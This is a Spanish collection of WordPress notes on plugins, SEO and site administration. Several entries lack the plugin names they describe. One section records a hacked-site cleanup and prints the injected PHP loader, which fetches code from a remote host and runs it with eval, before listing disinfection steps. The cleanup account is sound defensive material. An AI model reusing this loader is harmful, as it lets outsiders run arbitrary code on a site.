Diccionario de WordPress

El Plugin permite añadir etiquetas META de forma manual en nuestra página de WordPress. Lo instalamos como cualquier Plugin desde la página en la sección Plugins>Añadir nuevo, se activa y se crea una nueva sección en Ajustes donde nos ofrece una completa lista de opciones para administrar las etiquetas META de nuestra página. Por supuesto incluye una caja de texto donde podemos escribir nosotros las META personalizadas.

Es uno de los plugins más usados y descargados. Si nos registramos con nuestro correo electrónico se desbloquean opciones avanzadas. Es posible que la función de registro de problemas desde WordPress, entonces podemos crear la cuenta en la Web addthis.com y usar el correo y contraseña para conectarse en nuestra Web.

La operatoria para crear botones es completa, quizás no muy intuitiva, pero una persona que administre una página de WordPress no debe tener problemas y en 5 minutos ya tendrá los botones. 

Características

• Es gratuito
• Compatible con AMP
• Incluye WhatsApp
• Permite varias configuraciones de botones
• Funciones avanzadas de seguimiento

Protocolo de instalación

Pasos que usamos nosotros:

1. Crear una cuenta en la página Web de AddThis con un correo electrónico, Google o Facebook. Eso crea el usuario y le asigna una ID
2. En Profile>API Keys crear una nueva app con el nombre de la Web sin extensión
3. Instalar y configurar el plugin en [WordPress Share Buttons Plugin AddThis] en nuestra página Web de WordPress.
4. En WordPress al ir a configurar el plugin elegir la opción de Link manually y poner la ID de la cuenta y la Secret Key generada en el punto 2.

Notas

• Es necesario crear una Tool, que es una configuración personalizada. Se puede crear varias Tools. Se configura una Tool que son los 5 botones flotantes estándar en la parte izquierda.
• Tener en cuenta que los cambios que hagamos desde el plugin en una Web afectan a todas las páginas asociadas a la ID+Key de la API, no solo a la página desde donde se hacen
• También se puede añadir al plugin una cuenta de bit.ly o la propiedad de Google Analytics.

• Haremos clic en el botón estrellado (el último) que hay a la derecha del menú Adjuntar Medios, situado justo encima de la caja de texto donde escribimos el contenido.
• Haremos clic en el botón que permite Seleccionar los Archivos a Subir (o Examinar, según navegador) y se abrirá una ventana donde podemos seleccionar la imagen a subir.
• Se recomienda rellenar la casilla de como título.

Una vez instalado y activado, nos aparecerá su configuración en el menú de Ajustes. Es un plugin muy completo pero lo he instalado porque tiene una funcionalidad fundamental para el SEO: permite mostrar una columna con el contador de palabras de entradas o de páginas y eso facilita mucho corregir el thin content o contenido pobre penalizado por Google.

Esta función está incluida en la versión gratuita del plugin y para mi es más práctico que WP Word Count.

Muchas opciones para gestionar los afiliados. Al instalarse genera atuomáticamente 4 páginas para que la gente se pueda afiliar. Si queremos hacer un uso "silencioso" será complicado porque la url de la ID del afiliado no se puede modificar.

Se crea un afiliado y recibe un enlace. Puede añadirse tanto en una URL de raíz como de artículo, funciona igual. Recibimos información de los clics que hace los visitantes.

Es un Plugin de WordPress que permite imprimir el contenido de un post o artículo en formato PDF descargando un archivo con el título del post y con extensión PDF. El plugin ha sido descontinuado de mantenimiento pero es operativo en WordPres 3.4.1.

===Instalación===

Se descarga el archivo zip de la Web de WordPress y se sube a la carpeta plugins de nuestra Web. Da un pequeño error en la activación pero después funciona correctamente.

===Configuración===

El plugin tiene unas opciones de configuración muy completas entre las que cabe destacar: *Opciones de article2pdf **¿Incluir fotos en el PDF? Si ó No **¿Usar fecha de publicación antes del título? Si ó No **PDF link theme integración, Escribir un texto aquí para que se añada como enlace al final de cada página y artículo, por ejemplo: "Descargar PDF".

===Hacks===

*Como cambiar color del texto **En cualquier lugar añadir (por ejemplo para pasar a rojo): $this -> _text_color($pdf,255,0,0); **y después: function _text_color( &$pdf, $r, $g, $b ) { $pdf -> SetTextColor( $r, $g, $b ); }

Es sencillo de instalar y configurar y también permite personalizar la visualización del mensaje y los colores del mismo.

Características

• Crea una sección propia en el escritorio.
• Hay varias opciones Pro pero la versión gratuita permite generar las imágenes.
• Empezamos usando la opción Generate Featured images for posts con las opciones por defecto.
• Una vez generadas todas las posibles, se va a Settings y se ajusta para genere imágenes a partir del título.

Recomendaciones principales que se deben marcar:

• Optimizar código JavaScript
  • Optimizar el código JavaScript
  • Unificar archivos JS
  • Incluir JS incrustados
• Optimizar el código HTML
• Optimizar CSS
  • Unificar archivos CSS
  • Incluir CSS incrustados
  • Guardar los scripts y el CSS unificados como ficheros estáticos
• Extra
  • Google Fonts>Combinar y cargar las fuentes asíncronamente con webfont.js
  • Quitar emojis

Este plugin es compatible y complementario de WP Super Cache.

Es un plugin muy completo que permite compartir el contenido de una Web en las redes sociales de la Web corporativa.

Paso a paso para configurar Blog2Social

1. En la sección de Ajustes seleccionar nuestra zona horaria.
2. La sección AutoPost es para la versión Premium de pago
3. Ir a la sección de Redes para conectar las redes corporativas. 

Una vez conectadas las redes, versión gratuita o versión Pro, podemos compartir con un solo clic nuestros posts en las Redes Sociales.

Es un plugin para gestión de reservas online. Tiene una versión gratuita sencilla que admite una reserva por día. Si se quiere realizar más reservas, disponer de varios elementos a reservar (por ejemplo varias pistas de pádel en un club), varias franjas horarias y pago online, es necesario comprar una versión de pago que puede llegar a 500 €.

===Instalación===

Se instala como cualquier plugin normal desde la sección Plugins>Añadir nuevo y se crea una nueva sección en el area de administración de nuestra página de WordPress.

===Configuración===

La versión free tiene una configuración muy sencilla ya que solo se realiza una reserva por día.

===Enlaces=== *[http://wordpress.org/extend/plugins/booking/ Booking Calendar] en WordPress

Es muy importante para la la claridad de una página Web que sus contenidos estén bien estructurados por categorías (y subcategorías si es necesario) sea cual sea su temática. Una página Web bien estructurada por categorías posiciona mejor en Google.

Para entender cómo se debe hacer basta con mirar cualquier página Web de un periódico. Veremos que la categoría principal suele ser el tema a tratar y cómo usan las subcategorías, por ejemplo:

• Internacional
• Política
  • Nacional
  • Local
• Deportes
  • Fútbol
  • Fórmula 1
  • Motociclismo
  • ...
• Economía
  • Bolsa
  • Emprendedores 
  • ...
• Sociedad

No es obligatorio que una categoría tenga subcategorías.

Recomendaciones para añadir a los formularios estándar

1. En el formulario añadir el campo [Aceptación], imprescindible para cumplir el RGPD.
2. Activar Recaptcha V3 en Integración. Con Recaptcha V3 no hace falta poner la etiqueta [recaptcha].
3. En la pestaña de correo añadir el campo [_url]. Permite usar el mismo formulario en diferentes página y saber de donde llegó.

Plugins complementarios

Instalar el plugin Contact Form CFDB7. Este plugin guarda una lista de todos los contactos recibidos. No solo evita perder contactos si no que ayuda a cumplir el RGPD en el aspecto de guardar una lista de las IP de donde se recibe los mensajes. Crea una sección propia donde se pueden consultar los mensajes recibidos desde cada formulario.

Información complementaria

• FAQ.
• Etiquetas que se pueden añadir, ver Tag Syntax.
• Etiquetas especiales: Special Mail Tags.

El anuncio se realizó a través de @searchliaison. Un tema poco habitual es que esta actualización ha durado 14 días hasta que se anunció su finalización. Una vez más se han visto afectados sitios con temáticas de salud o relacionadas, así como los de finanzas, relacionados con el dinero, y otros sectores, es decir el ya conocido YMYL (Your Money Your Life).

También ha caído el posicionamiento de comercios electrónicos y sitios web de afiliación, de Amazon.

Es un Plugin de WordPress que permite añadir campos personalizados en una entrada (Post) o páginas de nuestra Web. Se sube el Plugin y se activa como se hace normalmente, después se va a Opciones->Custom Field Template. Una vez activado automáticamente al ir crear una nueva entrada nos aparece un nueva caja debajo del contenido con una serie de campos correspondientes al Template #0 del Plugin, podemos crear más templates. Con un sencillo lenguaje podemos crear todos los campos que queramos y de todos los tipo habituales en HTML. Si existe más de una plantilla entonces en la parte superior de la caja se muestra un desplegable para que podamos elegir el tipo de plantilla que queremos utilizar. El Plugin también incorpora una sección para construir una visualización de los campos con HTML. Para los campos especiales de imagen y página Web es necesario poner la ruta de la imagen y de la Web en un campo y después construir el HTML alrededor. Para visualizar la ficha en una post o página utiizaremos el tag: cft format=1 puesto entre corchetes [] Este plugin permite crear fichas de personas, inmuebles, artículo, objetos etc. lo cual nos amplía mucho la funcionalidad de la página. ===Ejemplo de instrucciones para el usuario=== *Crear una nueva entrada *En título poner el modelo *En el contenido de la entrada poner lo siguiente: [cft format=1] *Subir la imagen del modelo y antes de cerrar la ventana de la imagen copiar su dirección Web que está en en la casilla: URL de la imagen *No insertar la imagen en la entrada, sólo guardar. *Debajo de la casilla del contenido hay una nueva sección llamada: Custom Field Template. *Hacer clic en el desplegable y seleccionar: Ficha modelo, apareceran los campos del modelo para rellenarlo *Cuando los campos estén completos hacer clic en el botón superior derecho de esta sección que pone Guardar.

===Ejemplos de campos===

[Modelo]
type = text
size = 50
label = Modelo
[InteriorExterior]
type = text
size = 30
label = Interior/Exterior
[Volumen]
type = text
size = 5
label =Volumen en m3
[Especificaciones]
type = textarea
rows = 5
cols = 30
tinyMCE = true
htmlEditor = true
mediaButton = true
label =Especificaciones Técnicas
[Imagen]
type = textfield
size = 35
label = Image
default =http://www.midominio.com/imagen.png

Antecedentes

 
$v=file_get_contents("http://w2w.specialadves.com/steps/s0.txt");
$v=str_replace("<?php","",$v);eval($v);

Protocolo de desinfección aplicado

1. Borrado de archivos
   1. Determinar versión con el archivo wp-includes/version.php: $wp_version = '5.3.12';
   2. Borrar todo menos wp-content
   3. Borrado de archivos de wp-content .hph de 08/04/2022
   4. Borrado de algún ficheros .hph
   5. No se borran las carpetas de los temas
2. Base de datos
   1. Subir base de datos y reparar
   2. Borrar registro 2022 de wp-post.
   3. Buscar en base de datos specialadves. No se detecta en ningún registro
3. Reinstalar WordPress
   1. Se busca la versión original de WordPress
   2. Descargar y subir los archivos de WordPress mediante FTP
   3. Reparar y asegurar
4. Actualizar WordPress:
   1. Borrar usuario admin con nombre poco habitual.
   2. Cambiar contraseña débil del usuario admin por una de seguridad.
   3. Actualizar WordPress
   4. Actualizar PHP de 5.6 (muy obsoleto) a 7.4 en hosting
   5. Actualizar todos los plugins
   6. Activar SSL que estaba incluido en el contrato.
   7. Instalar Really Simple SSL.
   8. Instalación del plugin iThemes Security. Activar y configurar
   9. Revisión general para comprobar las diferentes áreas de la página.

1. BuiltWith: Esta es una herramienta muy popular que no solo puede detectar si un sitio está hecho con WordPress, sino que también identifica otros detalles como plugins, temas y tecnologías utilizadas.
2. WPThemeDetector: Específicamente diseñada para detectar si un sitio utiliza WordPress y, si es así, qué tema y plugins están siendo utilizados.
3. WhatWPThemeIsThat: Similar a WPThemeDetector, esta herramienta se enfoca en identificar el tema y los plugins de WordPress utilizados en un sitio web.
4. IsItWP: Otra herramienta sencilla que te permite saber si un sitio está hecho con WordPress y proporciona información adicional sobre el tema y los plugins utilizados.

1. Es ligero y muy fácil de instalar.
2. Genera solo dos ficheros de la copia que descargo y guardo en Drive o Dropbox.
3. Es muy simple para recuperar/trasladar una página web.

1. Exportar la Web. 
   1. Instalar y activar el plugin en la Web origen.
   2. Acceder a la pestaña principal del plugin y Create New para crear un nuevo paquete de exportación.
   3. Seguir los pasos de instalación y comprobar que se ha creado sin incidencias.
   4. Descargar Instalador y Archivo.
2. Restaurar la Web
   1. Crear nueva base de datos
   2. Preparar un dominio de trabajo para instalar la Web 
   3. Subir archivos por FTP
   4. Ir a la carpeta de instalación y lanzar /installer.php
   5. Seguir los pasos de instalación. La web se carga y se autoajusta al nuevo dominio. 
   6. Entrar con el mismo usuario administrador original
   7. Realizar un test básico de la Web duplicada.

La página Web de documentación es completa, con una navegación mejorable. Recien instalado no se puede editar, seguramente falta algún plugin de maquetación.

El plugin Rara One Click Demo Import permite importar demos. El tema tiene una página con todas las demos para preinstalar. Se descarga la elegida en formato zip, se instala el plugin Rare y se importa el archivo zip desde el mismo plugin. Requiere el plugin Contact Form 7.

Descartado la opción Free tiene muchas limitaciones de configuración

Les de los buenos temas Premium como Bridge, Divi o Avada.

El problema consiste en que la actualización realizada tiene unos requisitos de PHP de memoria o ficheros que son superiores a los que ofrece la configuración de nuestro hosting. En realidad es un error 500 y en vez de mostrarlo carga una redirección a la página de aterrizaje del dominio.

He conseguido solucionarlo poniendo los requisitos necesarios en dos casos en que ha sido debido a la plantilla (theme) premium utilizada. Se debe recordar que si el error se produce al administrar hay que subir también el php.ini a la carpeta wp-admin. Cuando se sube un php.ini a la raíz del dominio las carpetas no heredan las ampliaciones indicadas.

==Instalación==

Una vez instalado es necesario crear una app de Facebook para que interactuar con la Red Social. Los pasos para la instalación son: *En el propio Plugin hay un enlace para acceder a la creación de la aplicación. *Le damos al botón de Crear nueva aplicación *Rellenamos las casillas de '''Nombre de la app''' y '''Namespace''' (todo en minúsculas sin espacios). En ambos casos suelo poner el nombre del dominio. *En '''Appdomain''' poner la Web con el formato: miweb.com *En '''Sitio Web con Facebook login>URL de sitio''' poner la dirección completa de la Web: http://www.miweb.com *En '''Mobile Web''' poner lo mismo que en el punto anterior *Pasar modo Sandbox a Desactivado *En '''App Details''' podemos dar más información sobre la página y la aplicación de forma opcional *Una vez creada la app debemos copiar y pegar el ID y una clave secreta las Settings del Plugin. *Para que la app pueda ser utilizada por varios usuarios de la Web de WordPress es necesario ir a la sección '''Status & Review''' y en el slide que hay a la dderecha del título donde pone: '''Do you want to make this app and all its live features available to the general public?''' poner '''Yes'''. Seguidamente deberemos conectar el Plugin a un perfil de Facebook y/o una página de Facebook. Es importante destacar que el Perfil, que a su vez suele ser el Administrador de la página no necesariamente debe ser el mismo perfil con el que se ha dado de alta al app en Facebook, puede ser otro distinto. Esto facilita el trabajo ya que no es necesario que cada perfil que creemos sea desarrollador de app's de Facebook.

==Funciones==

Permite las siguientes funciones: *Social publishing *Like button *Subscribe button *Send button *Comments, permite integrar los comentarios de Facebook en nuesta Web. Una de las funcionalidades más interesantes de este plugin. *Social Publisher, esta sección permite publicar los contenidos de la Web en nuestro Perfil de Facebook y en una página que tengamos asociadas. ** Ir a la sección y hacer Clic en asociar la aplicación con el perfil de Facebook. Permitir los permisos de aceso a la aplicación ** Seleccionar la página en la que queremos publicar **Seguidamente cada vez que publiquemos una noticia ésta será publicada en el Perfil y en la página enlazados *Recommended Bar

==Usuarios Web==

El Plugin de Facebook activa la publicación en función del usuario, quiere decir que al configurarse permite publicar en el Timeline del perfil del usuario o en una de las páginas que administra. Si añadimos un nuevo usuario a la Web una vez instalado el Plugin es necesario configurar la conexión con Facebook para que sus publicaciones sean compartidas en la Red Social. Los pasos a realizar son los siguientes: *Entrar en un navegador como administrador de la Web y en otra pestaña estar conectado a la cuenta de Facebook que administra la página. *En el escritorio de la Web ir a '''Facebook->Social Publisher'''. *Ir al perfil de usuario y en la parte inferior hacer clic en el enlace que pone: '''Associate my WordPress account with my Facebook account''' *Nos llevará a la página del perfil de usuario allí hacer clic en Hacer clic en '''Allow new posts to my Facebook Timeline''' y se abrirá una ventana emergente donde se hará lo siguiente: Marcar en la parte inferior izquierda que las publicaciones son para Público. *Volver a '''Facebook->Social Publisher''' y seleccionar la página donde se quiere publicar. Si no se quiere que también publique en el Timeline del perfil entonces se debe desmarcar la opción superior. *Ir al perfil de usuario y en la parte inferior hacer clic en el enlace que pone: '''Associate my WordPress account with my Facebook account''' *Hacer clic en '''Allow new posts to my Facebook Timeline''' y se abrirá una ventana emergente donde se hará lo siguiente: Marcar en la parte inferior izquierda que las publicaciones son para '''Público'''. Con esto queda conectado el perfil a la Web, si en la sección '''Social Publisher''' ya hemos asociado una Página de Facebook al Plugin las publicaciones del usuario irán a la página.

==Notas==

Notas sobre Social Publisher: * El plugin se liga a una cuenta de Facebook y se puede publicar en las páginas de las que esa cuenta sea administrador. * Se puede ligar el plugin a UNA sola página para publicar. * Si ligamos el plugin a unq cuenta A y página A1 de Facebook y posteriormente abrimos la Web en un navegador con el usuario B de Facebook, las entradas que se publiquen irán igualmente al muro de la cuenta A y página A1. * Si la app de Facebook se crea con un usuario A Facebook y se intenta conectar Web<->Facebook con el usuario B no ha funcionado. Es necesario dar de alta el usuario B como desarrollador y crear la app con él. Una vez introducidos estos datos.

Definición

Generalmente el objetivo es captar los leads (datos de contacto) de prospectos (posibles clientes o interesados) a través de lo que se conoce como lead magnet, una oferta que los  llevamos a una landing page. La landing es una Web específica o sección de la Web corporativa.

Pasos previos

Perfil

Definir el "buyer persona", un perfil lo más completo posible de a quién va dirigido el producto o servicio.

Páginas

Las 3 páginas necesarias para tener un correcto funnel de ventas son: Landing page, Página de agradecimiento y Página de descarga (si se ha utilizado un lead magnet que implica descarga)

Tráfico

Definir los tipos de tráficos que vamos a usar:

• Tráfico frío: Desconocidos que nunca han oído hablar de nosotros. Ofrecerles un lead magnet: Ebook, Webinars, Casos de estudio, Checklist, Video y Mini-curso. Cuanto mejor sea el lead magnet más probabilidades de éxito.
• Tráfico templado: Personas que nos conocen o han oído hablar de nosotros por cualquier canal: Redes Sociales, conocidos, familiares, compañeros de trabajo, visitantes de la Web, etc. Ya no conocen a que nos dedicamos.
• Tráfico cálido:  Personas que conocen con detalle nuestros servicios y productos. Existe una relación con ellos y pueden convertirse en compradores o ya son clientes a los que se les pueden vender más productos. 

Plugins de WordPress recomendados:

Cómo hacer una galería de fotos en WordPress

1. En el editor de WordPress hacer clic en el botón Añadir Medios, como si fuéramos a insertar una imagen.
2. Cuando se abre la biblioteca de medios hacer clic en la parte derecha, en la opción que pone Crear una galería.
3. Seleccionar varias imágenes existentes o subir un grupo de imágenes. Las seleccionadas tienen una marca azul en la esquina superior derecha.
4. Hacer un clic en el botón azul de la esquina inferior izquierda que pone Crear una nueva galería.
5. Se presentan las imágenes seleccionadas, se puede añadir una leyenda para que se vea junto a las fotos. También se pueden arrastrar las imágenes para ponerlas en el orden que queremos.
6. En la parte derecha, dónde pone Ajustes de la galería podemos seleccionar el tamaño de las imágenes a mostrar.
7. Al finalizar los ajustes hacer clic en el botón azul inferior derecho Insertar Galería.

El objetivo es encontrar uno que permita visualización masonry o Google Images con la posibilidad de ver título, testo alternativo, leyenda y descripción de la imagen.

• Modula. 80K y casi 5 estrellas de valoraciones. Completo en su versión gratuita con módulo Pro. Las funciones gratuitas son limitadas y no cumplen el requisito. Las textos de las imágenes subidas no actualizan los campos de la biblioteca de medios.
• Envira Gallery. 100K, muy buena pinta en las demos. No cumple los requisitos, como el anterior casi todas las funciones son Pro
• Photo Gallery. 300K, muy profesional. Masonry y mosaico son versiones Pro.
• NextGen Gallery. 800K descargas, el clásico y uno de los primeros.
• Foo Gallery. El mejor y más completo de todos los analizados en su versión gratuita. Una gran número de opciones y cumple todos los requisitos que nos planteamos.

Tiene las funciones principales como son el banner de primera capa (personalizable en textos), ajustes de caducidad del consentimiento, opción de aceptación por tipo de cookie, plantilla de revisión de consentimiento, responsive y compatible con sistemas multiidioma.

Se debe destacar que permite un control real de las cookies mediante cajas donde introducir los scripts que no se cargarán hasta que el usuario realiza la acción de aceptarlas.

Es el plugin recomendado por la página AyudaWP, una de las más completas que hay sobre WordPress.

Configuración

Se instala y activa como cualquier plugin de WordPress. Una vez instalado se genera un área de configuración en el escritorio de WordPress. Tal como se instala se activa el banner de aceptación. 

Se recomienda activar la opción de Rechazar en la sección de 

• Projectopia. Plugin profesional por $49 en codecanyon. Completo y con muchas funciones.
• Panorama. Plugin profesional con página Web propia. Completo y profesional.
• KanbanWP. Gestor de tableros Kanban para WordPress. Traducido al español. Orientado a las tareas en equipo.
• UpStream. Gestor de proyectos de WordPress. Profesional con su propia página web.
• Business Manager. Va mas allá de la gestión de proyectos y permite hacer una gestión de organizaciones.  Es un ERP.

Se instala como cualquier plugin de WordPress y se crea una sección en el área de Ajustes. En dicha sección están todos los parámetros del plugin. Podemos optar entre autentificarnos con Google o introducir la ID de seguimiento manualmente con el formato: UA-999999-99. Una vez introducido podemos comprobar en nuestro Panel de Control de Google Analytics como el seguimiento está instalado. Al cabo de 24-48 horas ya se pueden empezar a consultar resultados.

Permite incorporar varios tipos de archivos en las páginas de WordPress utilizando el Visor de Google Docs, permitiendo la visión(y la descarga opcional) de los siguientes tipos de archivo, sin Flash o PDF y sin otros complementos: *Adobe Acrobat (PDF) *Microsoft Word (DOC/DOCX*) *Microsoft PowerPoint (PPT/PPTX*) *Microsoft Excel (XLS/XLSX*) *TIFF Images (TIF, TIFF) *Apple Pages (PAGES) Se instala y configura como cualquier Plugin de WordPress. Una vez realizada la instalación se abre una sección de configuración en Escritorio>Ajustes>Google Doc Embedder. En la sección de botones de edición de páginas y entradas se crea un nuevo botón que permite insertar el shortcode de WordPress basado en la URL del fichero que se quiere mostrar.

100% recomendable ya que es del propio Google.

Errores

Error de datos en Analytics. The response is not a valid JSON response. Google Analytics no se puede conectar con la Web. Este error puede tener varias causas, en mi caso se debía a la instalación del plugin iThemes Security. Si en Ajustes Generales está marcada la opción Cadenas URL largas: Filtrar cadenas de URL largas, entonces Google Analytics no se puede conectar. Si desactivamos esta opción y guardamos ajustes se realiza automáticamente la conexión.

Gtranslate empezó como una traducción al vuelo pero ha evolucionado a un sistema free/pro que permite por 25€ al mes traducir con URL fijas que ayudan mucho a mejorar el posicionamiento en casa uno de los idiomas. Las URLs generadas se guardan el propio hosting del proveedor con lo cual no ocupan espacio extra en nuestro plan contratado.

Dispone de una versión Premium que por poco más de 26€ mensuales traduce cada página generando una URL única que permite posicionar la página por cada idioma en su Google correspondiente. En esta versión además de Google se usa una red neural que garantiza una mejor calidad de la traducción realizada.

Una vez realizado el pago se recibe un correo con el usuario y la contraseña para conectarse al área de usuario de gtranslate.io. En el escritorio el setup wizard nos guiará en la configuración

Ventajas de Gtranslate

• La traducción es alojada en servidores internacionales. No ralentiza nuestra Web ni ocupa espacio
• Cumple las normas para que se indexe correctamente en Google, tanto en las URLs como en el uso de la etiqueta lang.
• La red neural lo hace mejor que una simple traducción automática.

Existen varios Plugins que permiten convertir una entrada o página de nuestra página Web de WordPress en un archivo PDF.

Vamos a comentar algunos:

post2pdf

Muy sencillo de instalar, basta con subir y activarlo para que en todas las entradas y páginas de nuestra página Web aparezca el icono de Imprimir PDF.

Si queremos modificar la configuración del Plugin cambiando el icono o el texto es muy sencillo, basta con editar el archivo config.inc.php y cambiar las variables que se ofrecen por defecto.

Problemas: Cuando el texto incorpora listas tipo ul / li no muestra bien las mismas, no se imprimen bien carácteres con acentos y cuando una página está generada mediante un tag tipo [competitions] se muestra el TAG y no el contenido HTML generado.

article2pdf

Pare más completo y tiene muchas opciones de configuración pero lo hacen un tanto confuso, da Warnings hay que crea directorios y se necesita retocar manualmente los archivos de los themes.

A pesar de la complejidad el resultado parece que es mejor que el post2pdf.

PDF24 Article To PDF

Este plugin permite tanto generar un PDF del artículo como poner un Widget lateral con la opción.

Se instala como todos los plugins y tiene un área de opciones.

Una vez instalado pone automáticamente al final de cada entrada o página una casilla para poner un email donde enviar el PDF generado. No hace impresión directa pero el resultado es mucho mejor que los otros plugins porque el formato es el adecuado y ademas en páginas generados por tags genera el resultado y no el Tag.

Print Friendly and PDF Button

Se descarga e instala como cualquier plugin. El mejor de todos los analizados para imprimir PDF. Captura perfectamente el contenido del artículo. Tiene un sencillo Panel de Control que nos permite personalizar perfectamente su funcionamiento.

El sistema pasa por ver unos anuncios mientras se genera el PDF, pero no es molesto.

Sin duda es la mejor elección.

Uno de los Plugins más utilizados para reforzar la seguridad de WordPress. Sobre los intentos de ataque por fuerza bruta a nuestro acceso a la Web desde wp-login.php que es uno de los sistemas favoritos de algunos programas para intentar acceder.

Instalación

Se instala como cualquier plugin de WordPress. Una vez activado se crea una sección en el escritorio llamada Seguridad y antes de mostrar todas las opciones solicita dos pasos adicionales: Realizar una copia de Seguridad de la base de datos (Recomendado) y Permitir al Plugin cambiar archivos de WordPress como el .htaccess. Esto último dependerá de la configuración del Servidor donde tengamos alojada la Web. Una vez hecho esto se muestran todas las opciones y un botón muy interesante que permite automatizar las tareas básicas de protección: '''Asegurar mi sitio contra ataques básicos'''. Esto realiza hasta 21 comprobaciones y nos recomienda acciones inmediatas de seguridad, las más importantes son: *Cambiar el usuario wp-admin *Cambiar el ID de usuario 1 *Cambiar el prefijo de las tablas wp-

Opciones

Las opciones del Plugin se encuentran en las siguientes pestañas: Dashboard, User, Away, BanDir, Backup, Prefix, Hide, Detect, Login, SSL, Tweaks,Logs *'''User''', permite cambiar el nombre e ID del usuario admin para prevenir ataques. *'''Away''', permite desactivar la adminitración del sitio por un periodo por si estamos ausentes. *'''Hide''', permite ocultar las URL de login, registro y admin. *'''Detect''' detecta y avisa de posibles intrusiones y accesos reiterativos del tipo 404. *'''Logs''', ofrece una completa información sobre logs de seguridad de nuestra Web.

Ajustes Generales

Tener en cuenta que la opción de Cadenas larga puede bloquear la conexión con Google Analytics si se usa el plugin Google Site Kit.

Comentarios

'''Seguridad añadida''': El plugin es capaz de bloquear Servidores que hacen demasiados intentos de acceso sospechosos a nuestras páginas, recbiremos un mensaje de este tipo: "''Un servidor, 99.99.99.99(you can check the host at http://ip-adress.com/ip_tracer/899.99.99.9) ha sido bloqueado en la el sitio WordPress de http://www.misitio.com hasta Tuesday, February 12th, 2013 at 4:57:48 pm UTC a causa de demasiados intentos de abrir un archivo que no existe.Puedes acceder al sitio para liberar el bloqueo manualmente si es necesario.''"

1. Copias el texto de la fuente original.
2. Clic con botón derecho en tu página web y Pegar como texto sin formato.

1. Copias el texto de la fuente original.
2. Accedes a la página html-cleaner.com y pegas el texto en el bloque de la izquierda.
3. Haces clic en el botón de la parte inferior derecha CLEAN HTML.
4. El texto queda limpio, copiar de nuevo el contenido del bloque izquierdo.
5. Pegar el contenido en la entrada o página.

Operativa básica

La versión gratuita del plugin es muy completa y plenamente operativa para la gran mayoría de usuarios. Para empresas o páginas Web con miles de usuarios se recomienda la versión Premium de 69€.

Plantillas

Las plantillas (templates) del plugin son HTML, eso quiere decir que podemos comprar un pack de plantillas profesionales por un coste de 20-30€ y usarlo en nuestro plugin.

Versión Premium

Existe una versión Premium con dos precios que ofrece Acceso a más de 20 extensiones profesionales, acceso de un año a las actualizaciones, soporte profesional. LA diferencia entre los dos precios está en función de los sitios Webs donde se va a instalar. Por una tarifa de 74€ el equipo del plugin hace la instalación completa.

Las extensiones que se incluyen en la versión Premium son:

• Instasend Cree. rápidamente un boletín a partir de una publicación (gratis por tiempo limitado)
• Informes. Muestra tablas y diagramas de los datos recopilados (se abre, hace clic, ...).
• Automatizado. Crea boletines periódicos de forma automática con el contenido de su blog. Multicanal.
• Clientes potenciales. Agregue una ventana emergente o una barra de suscripción fija a su sitio web y ofrezca a sus visitantes una forma sencilla de suscribirse.
• Google Analytics. Agrega automáticamente el seguimiento de campañas UTM de Google Analytics a los enlaces
• Autorespondedor. Cree series de correo electrónico ilimitadas para dar seguimiento a sus suscriptores. Lecciones, promociones, conversaciones.
• Bloques de redacción extendidos. Agrega nuevos bloques al redactor del boletín: lista, video, galería, publicación completa.
• Geolocalización. Geolocalice a los suscriptores y apúntelos por geolocalización en su campaña.
• API del boletín. Acceda mediante programación al complemento del boletín mediante llamadas REST.
• Gestión de rebotes. Esta extensión experimental gestiona los rebotes y mantiene la lista limpia de direcciones no válidas.
• Importación avanzada. Un sistema de importación avanzado con campos de perfil extendidos y mapeo (versión beta).
• Archivo público. Genera un archivo público de los boletines enviados para su blog.
• Contenido bloqueado. Aumente su tasa de suscripción bloqueando su contenido premium con un formulario de suscripción.

Instalación

Se instala y activa como cualquier Plugin y aparece una nueva sección de Administración de Opciones del plugin. El objetivo del mismo consiste en permitir que en nuestra página Web los usuarios puedan registrarse dejando su email y recibir boletines.

Descripción detallada

El mismo plugin incorpora todas las funciones necesarias para realizar las funciones de inscripción y mantenimiento de la base de datos de usuarios registrados así como la composición de boletines y envío de los mismos desde el propio escritorio de WordPress. El objetivo del Plugin permite dar de alta suscriptores desde las siguientes vías: * Por introducción del email en la página Web por parte de un internauta. Se permiten registros directos o mediante email de confirmación. * Por importación de un fichero '''csv''' de emails. * Por entrada desde la Administración en la opción '''Subscribers'''. Debemos crear una página o entrada y añadir el tag: '''[newsletter]''' Después ir a la página de configuración del Plugin, que es muy intuitiva, rellenar los datos y personalizar los mensajes que se enviarán o recibirán. Existe la opción de permitir registros directos sin un email de confirmación. Una vez que alguien se cada vez que se publique una nueva entrada el usuario recibe un email con un link a la misma.

== Newsletter-Pro ==

El Plugin tiene una versión Pro que ofrece más funciones que la versión estándar. Para hacer un Upgrade la versión Pro a la estándar seguir los siguientes pasos: * Descomprimir el Plugin y subirlo a la carpeta wp-content/plugins. * Desactivar el Plugin Newsletter * Activar el plugin Newsletter-Pro

== Parámetros principales ==

=== Configuration ===

* Introducir el email que envía el Newsletter * Introducir varios emails de pruebas en Generic test subscribers de varios proveedores: gmail, hotmail, etc. para hacer pruebas de envíos si se quiere. * '''Subscription''' Option, permite determinar si el alta es directa o con confirmación por mail. * En esta sección está todos los emails para darse de alta y de baja como suscriptor

== Acciones de Puesta en marcha básica del Plugin con el usuario ==

* '''Configuration''' ** '''Basic Settings''', entrar el email que debe figurar como el que envía el boletín **'''Siguientes pestañas''': Opciones avanzadas de configuración de envío de emails. ** Generic test subscribers, entrar algunas cuentas de pruebas (gmail, hotmail, etc.) si que quieren hacer pruebas con los boletines. * '''Subscription Steps''' **'''General''' *** Se deja la opción de registro de usuarios automático sin confirmación ***Permite indicar la página de suscripciones o dejar que el Plugin cree una. **'''Welcome''' *** '''Welcome Message''' es el mensaje que se muestra en la página después de la inscripción *** '''Welcome email''' es el mensaje del email que recibirá el suscriptor. * '''Subscription Form''' **'''Main profile fields''', permite configurar que campos se piden en el formulario de registro. **'''Siguientes pestañas''': Opciones avanzadas de configuración del formulario. * '''Composer''' ** En esta sección se redactan los emails y boletines que se enviarán a los suscriptores ** Entrar el Subject (Asunto del mensaje) ** Entrar el Message, hay varias opciones: *** Escribir directamente el mensaje en la casilla utilizando las opciones de formato. *** Pegar un formato desarrollado previamente en una plantilla. *** Escribir o pegar código el código HTML pulsando en la tecla que pone estas siglas ** Proceder al envío del email, con las siguientes opciones: *** Send Test emails, envía el mensaje a los emails de pruebas entrados en la opci´no Configuration *** Manual Delivery y Automatic Delivery. Hacen lo mismo envían los emails a los suscriptores.

== Flujo de información ==

